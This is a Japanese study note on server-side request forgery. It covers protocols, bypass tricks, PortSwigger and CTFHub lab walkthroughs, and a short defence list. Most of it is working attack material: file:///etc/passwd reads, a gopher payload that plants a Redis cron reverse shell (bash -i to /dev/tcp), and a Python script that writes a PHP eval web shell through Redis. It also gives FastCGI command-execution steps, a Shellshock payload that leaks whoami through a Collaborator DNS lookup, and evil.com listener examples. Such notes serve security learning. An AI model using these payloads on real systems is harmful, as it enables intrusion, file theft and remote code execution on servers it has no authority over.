概要#
多くの Web アプリケーションは、他のサーバーからデータを取得する機能を提供しています。この機能は通常「外部リソースの読み込み」と呼ばれます。ユーザーが指定した URL を使用することで、Web アプリケーションは画像の取得、ファイルのダウンロード、ファイル内容の読み取りなど、さまざまな操作を実行できます。しかし、この機能が悪用されると、攻撃者は欠陥のある Web アプリケーションをプロキシとして利用し、リモートおよびローカルのサーバーを攻撃することができます。この形式の攻撃は、サーバーサイドリクエストフォージェリ攻撃(Server-side Request Forgery、略して SSRF)と呼ばれます。
SSRF 攻撃では、攻撃者が特別なリクエストを構築することで、サーバー側から発信されるリクエストのターゲットを攻撃者自身が制御するシステムや内部システムにすることができます。一般的に、SSRF 攻撃のターゲットは、外部から直接アクセスできない内部システム(例えば、データベースや内部ネットワークインターフェースなど)であり、攻撃者はファイアウォールを回避してこれらの内部システムに直接アクセスできます。
SSRF 攻撃の発生は、サーバー側が他のサーバーからデータを取得する機能を提供しているが、ターゲットアドレスに対して十分なフィルタリングや制限を行っていないことが主な原因です。例えば、サーバー側は指定された URL からウェブページのテキストコンテンツを取得したり、指定されたアドレスの画像を読み込んだり、ファイルをダウンロードしたりすることを許可する場合があります。サーバー側がこれらの操作に対して適切なセキュリティ制御(例えば、URL が内部ネットワークを指しているかどうかの確認や、アクセス可能な URL の範囲の制限)を行っていない場合、攻撃者はこの機能を利用して SSRF 攻撃を行う可能性があります。
タイプ#
- 基本(エコー)
- 非エコー
利用プロセス#
外部にネットワークリクエストを発信できる場所では、SSRF が存在する可能性があります。以下は 127.0.0.1 の自身の 8080 ポートにリクエストを発信した例で、関連する内容が返されており、SSRF の脆弱性が存在することを示しています。
リクエストパケットは以下の通りです:
POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
url=127.0.0.1%3A8000
ローカルファイルを読み取ろうとする(Windows)
file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts
Linux 環境の場合、以下のファイルを読み取ります:
file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces
ケース 1
GET リクエスト
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
ケース 2
POST リクエスト
POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2
利用方法#
脆弱性の一般的な利用方法#
- 内部ネットワークポートスキャン
- DICT、HTTP プロトコルを利用して内部ネットワークのポートの開放状況を探ることができます
- burp suite によるブルートフォース
- 一般的なポート(80、8080、3306、6379 など)をブルートフォース
- ディレクトリスキャン
- burp suite によるブルートフォース
- SQL インジェクション
- エンコーディング形式、二重 URL エンコーディング
- コマンド実行
- エンコーディング形式、二重 URL エンコーディング
- gopher プロトコル
- url:gopher://[host]:[port]/ 二重 URL エンコーディングされた tcp データストリーム
- CVE-2017-12615
- tomcat の put メソッドでファイルを書き込む
- Redis の未認証アクセス脆弱性(認証なし)
- DICT プロトコル(dict://x.x.x.x:6379/<Redis コマンド>)
- ssrf-xss
脆弱性の複雑な利用方法#
ブラインド SSRF 利用#
応答の状態と応答時間に基づいてポートが開いているかどうかを判断します。
以下は一例の表です:
アウトオブバンド技術を使用してブラインド SSRF を利用します。
さまざまな利用プロトコル
file:///
dict://
sftp://
ldap://
tftp://
gopher://
dict プロトコル#
サーバーが外部サイトやホワイトリスト内の HTTP リクエストを禁止している場合、dict プロトコルを使用できます。
dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
gopher プロトコル#
gopher プロトコルは GET、POST リクエストを発信することをサポートします。GET リクエストパケットと POST リクエストパケットをキャプチャし、gopher プロトコルに適合するリクエストを構成できます。
gopher プロトコルは SSRF 利用の中で最も強力なプロトコルです。
以下のケースでは、302 リダイレクトがリクエストを受け取ります。
http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
フォーマット
gopher://<host>:<port>/<gopher-path>_後接TCPデータストリーム
curl gopher://127.0.0.1:8000/_GET%20test
gopher のデフォルトポートは 70 です。
POST リクエストを発信する場合、改行は %0d%0a を使用する必要があります。複数のパラメータがある場合、パラメータ間の & も URL エンコーディングする必要があります。
GET リクエストを送信する
以下のペイロードを送信する場合:
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1
次の形式に変換する必要があります。
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
HTTP パケットの最後に %0d%0a を追加して、メッセージの終了を示します。
POST リクエストを送信する
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
次の形式に変換する必要があります。
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
SSRF における利用
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# PHPはパラメータを受け取った後、URLのデコードを1回行うため、再度URLエンコーディングする必要があります
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
URL 内の/
は二重エンコーディングできず、ポート番号も二重エンコーディングできず、プロトコル名も二重エンコーディングできません。
gopher プロトコルを利用して Redis でシェルを反響させる
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
s/ftp プロトコル#
sftp プロトコルは SSH ファイル転送プロトコルの略で、安全な転送プロトコルです。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
tftp#
ファイル転送プロトコル
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
file プロトコル#
file プロトコルはファイルシステム内の機密ファイルを読み取るために使用されます。
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
ldap/s/i#
LDAP は軽量ディレクトリアクセスプロトコルを表します。これは、IP ネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするためのアプリケーションプロトコルです。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
pdf ssrf#
場合によっては、サーバーがアップロードされたファイルを PDF ファイルに変換することがあります。
<iframe>
, <img>
, <base>
または<script>
タグ、CSS url () を使用して内部サービスをリクエストし、機密ファイルを読み取ろうとします。
<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">
avi#
fastcgi プロトコル#
title:ctfhub靶场
- まずサーバー上でリスニングします。
nc -lvnp 9000 > 1.txt
- クライアントは Python スクリプトを使用して 9000 ポートに接続します。
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
- 生成された txt ファイルを次の Python スクリプトで二重エンコーディングします。
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))
ペイロードを脆弱性パラメータに配置します。
ファイル名がわかったら、cat コマンドを使用してフラグの内容を確認します。
python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php
前の手順と同様です。
利用ケース#
ポートスキャン#
SSRF は DICT プロトコルと組み合わせて内部ネットワークのポートの開放状況を探ることができ、TCP エコーのポートのみを探ることができます。
redis#
curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
ツール#
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上記のツールは再度 URL エンコーディングする必要があります。
[[ctfhub-skilltree.md# 二次编码脚本 | url 二重エンコーディングスクリプト]]
redis にシェルを書き込む
import urllib
protocol="gopher://"
ip="192.168.134.132" //IPアドレス
port="6379" //ポート
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//書き込む内容はワンライナーのマルウェア
filename="1.php" //ファイル名は1.php
path="/var/www/html"//デフォルトパス
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
ケース#
[[ctfhub-skilltree.md#redis|ssrf による redis へのシェル書き込みシナリオ]]
バイパス技術#
fuzz 辞書#
- web 脆弱性 ->ssrfDicts
ホワイトリスト#
1、指定された IP またはドメイン名が指定されたリソースにアクセスできるようにします。
ホワイトリストは:abc.com
直接読み取ることはできません。
http://example.com/ssrf.php?url=https://google.com
ホワイトリストドメイン内でオープンリダイレクト脆弱性を見つけ、オープンリダイレクト脆弱性を利用する必要があります。
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
2、サブドメイン
ホワイトリストは:*.abc.com
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
ブラックリスト#
- IP を以下の回避可能な IP に変更
- フィルタリングされた文字をエンコード
- またはドメインを使用して localhost を指す
特殊 IP#
http://0177.1/ # 十進法 http://127.0.0.1
http://0x7f.1/ # 十六進法 http://127.0.0.1
http://127.000.000.1
https://520968996
エラー IP#
http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/
ipv6#
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·
その他のプロトコル#
gopher://
dict://
php://
jar://
tftp://
DNS 欺騙#
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
xip.io#
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
エンコーディングバイパス#
これには、16 進数エンコーディング、8 進数エンコーディング、ダブルワードエンコーディング、URL エンコーディング、混合エンコーディングが含まれます。
127.0.0.1は0x7f.0x0.0x0.0x1に変換されます
127.0.0.1は0177.0.0.01に変換されます
http://127.0.0.1はhttp://2130706433に変換されます
localhostは%6c%6f%63%61%6c%68%6f%73%74に変換されます
ホワイトリスト#
- URL の前に認証を追加し、@で分割し、ユーザー名を内部システムの IP に置き換え、他のパスを最後に追加します。
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/
- 各 URL セグメントを #で分割することもできます。
https://evil-host#expected-host
- DNS の命名構造を使用します。
https://expected-host.evil-host
- 文字を URL エンコーディングして URL パーサーを混乱させます。
302 リダイレクト#
サーバーが多くのプロトコルをフィルタリングしている場合(たとえば、受信 URL に「http」または「https」のみを許可する場合)、自分のサーバーで 302 リダイレクトを作成し、Gopher プロトコルを利用して内部ネットワークの Redis を攻撃します。
SSRF ラボ#
ラボ:ローカルサーバーに対する基本的な SSRF#
パケットキャプチャ、正常なリクエスト
stockApi をhttp://localhost/admin に変更すると、直接未認証でバックパネルにアクセスできました。
ユーザーを削除するには、次のパラメータを入力します:stockApi=http://localhost/admin/delete?username=carlos
アカウントが正常に削除されました。
ラボ:別のバックエンドシステムに対する基本的な SSRF#
title:実験目標
ssrfを使用して内部ネットワークのポートスキャンを行い、192.168.0.Xネットワークセグメントの8080ポートを発見します。
同様に、在庫確認ページに移動します。
正常なリクエストは以下の通りです:
インストルーダーに送信します。
ペイロードを設定します。
応答サイズを確認することで、IP が 192.168.0.154 であることがわかります。
ユーザー carlos を削除し、削除が成功しました。
ブラックリストベースの入力フィルタによる SSRF#
内部ネットワーク URL を入力すると、ブロックされます。
ブラックリストを回避し、127.0.0.1 を 127.1 に変更し、admin もブロックされます。admin の a を二重エンコーディングし、二重エンコーディングは特殊文字のみに適用します。
carlos アカウントを削除します。
ホワイトリストベースの入力フィルタによる SSRF#
ホワイトリストは stock.weliketoshop.net へのアクセスのみを許可します。
http://[email protected]/ を入力して、埋め込み資格情報の URL を使用してバイパスできることを確認します。
username の後に #を追加すると、依然としてブロックされ、# を二重エンコーディングすると、ブロックされないことがわかります。
http://localhost%[email protected]/
その後、admin を追加し、上記の画像は正常にバイパスされます。
POST リクエストを送信して carlos アカウントを削除します。
stockApi=http://localhost%[email protected]/admin/delete?username=carlos
ラボ:オープンリダイレクト脆弱性を介したフィルターバイパスによる SSRF#
オープンリダイレクト脆弱性を利用して SSRF 脆弱性を実現し、ターゲットは
http://192.168.0.12:8080/admin
にアクセスし、ユーザーcarlos
を削除します。
まず、オープンリダイレクト脆弱性を見つける必要があります。商品詳細ページのリンクリダイレクト部分で見つけることができます。
リンクは以下の通りです:
https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com
直接http://www.baidu.com にリダイレクトできます。
在庫確認のリクエストパケットをキャプチャします。
上記のパケットを送信すると、path パラメータが不足しているというメッセージが表示されます。
currentProductId を削除すれば大丈夫です。
ユーザーを削除します。
ブラインド SSRF によるアウトオブバンド検出#
脆弱性は referer にあります。
Burp Collaborator クライアントを開き、ドメインをコピーします。
それを referer にコピーしてリクエストを送信すると、Burp Collaborator クライアントが送信されたリクエストを受信しました。
ラボ:Shellshock を利用したブラインド SSRF#
1、実験を実現するには、まず「Collaborator Everywhere」プラグインをインストールする必要があります。これは Burp のストアに自動的に含まれていますので、インストールしてください。
2、被害者のウェブサイトにアクセスし、パケットをキャプチャし、右クリックして「Add to scope」に追加します。
3、その後、ウェブサイトをブラウズし続けると、「Collaborator Everywhere」プラグインがリクエストを送信し始め、関連する応答を確認できます。これにより、ここに SSRF 脆弱性が存在することがわかります。
4、具体的なリクエストは以下の通りです。
他のリクエストも追加されました。
インストルーダーモジュールに送信し、ブルートフォースを行います。User-Agent を次のペイロードに設定し、referer をブルートフォースする必要がある内部ネットワークサーバーのセグメントに設定します。
() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net
ブルートフォースのパラメータを設定します。
スレッドを 1 に設定します。
ブルートフォースを開始し、Burp Collaborator クライアントがリクエストを受信したかどうかを確認します。
上記のように、サーバーのユーザー名を取得しました。
脆弱性の危害#
SSRF は外部ネットワーク、サーバーが存在する内部ネットワーク、ローカルのポートスキャンを行い、内部またはローカルで実行されているアプリケーションを攻撃したり、File プロトコルを利用してローカルファイルを読み取ったりすることができます。
内部ネットワークサービスの防御は、外部ネットワークサービスに比べて一般的に弱く、場合によっては一部の内部ネットワークサービスは運用の便宜上、内部ネットワークへのアクセスに対して権限検証を行っていないため、SSRF が存在する場合、通常は大きな危害をもたらします。
防御方法#
- 返される情報をフィルタリングする
- 統一されたエラーメッセージ
- リクエストポートを制限する
- 使用されていないプロトコルを禁止する
- DNS リバインディングに対して、DNS キャッシュまたはホワイトリストを考慮する
その他#
-
title: 関連記事
- SSRF の原理と利用方法の浅い分析
- SSRF 脆弱性における Gopher プロトコルの深い研究
- SSRF - サーバーサイドリクエストフォージェリ(タイプと利用方法)Part-1
- SSRF - サーバーサイドリクエストフォージェリ(タイプと利用方法)Part-2
- SSRF - サーバーサイドリクエストフォージェリ(タイプと利用方法)Part-3
- ssrf - web セキュリティ学習ノート
- ssrf - さまざまなコンポーネントの脆弱性利用方法
- PHP における SSRF
- SSRF のさまざまなバイパス手法と攻撃思考を理解するための一文
- SSRF 学習記録
- SSRF を利用して内部ネットワークの FastCGI プロトコルを攻撃する
- Fastcgi プロトコル分析 && PHP-FPM 未認証アクセス脆弱性 && Exp 作成
- SSRF バイブル。チートシート
-
title: 関連ケース
- スプレッドシートから PDF への変換における SSRF の悪用 - excel 内の ssrf+xxe ファイル読み取り
-
title
-
title: 関連ツール
- In3tinct/See-SURF - Python で書かれた ssrf パラメータスキャンツール
- swisskyrepo/SSRFmap - 自動化 Fuzz SSRF 開発ツール
- tarunkant/Gopherus - このツールは gopher ペイロードを生成し、SSRF を利用してさまざまなサーバーで RCE を取得します
- dns リバインディング
- URL オンラインエンコーディングデコーディングツール
-
title: 関連リソース&靶場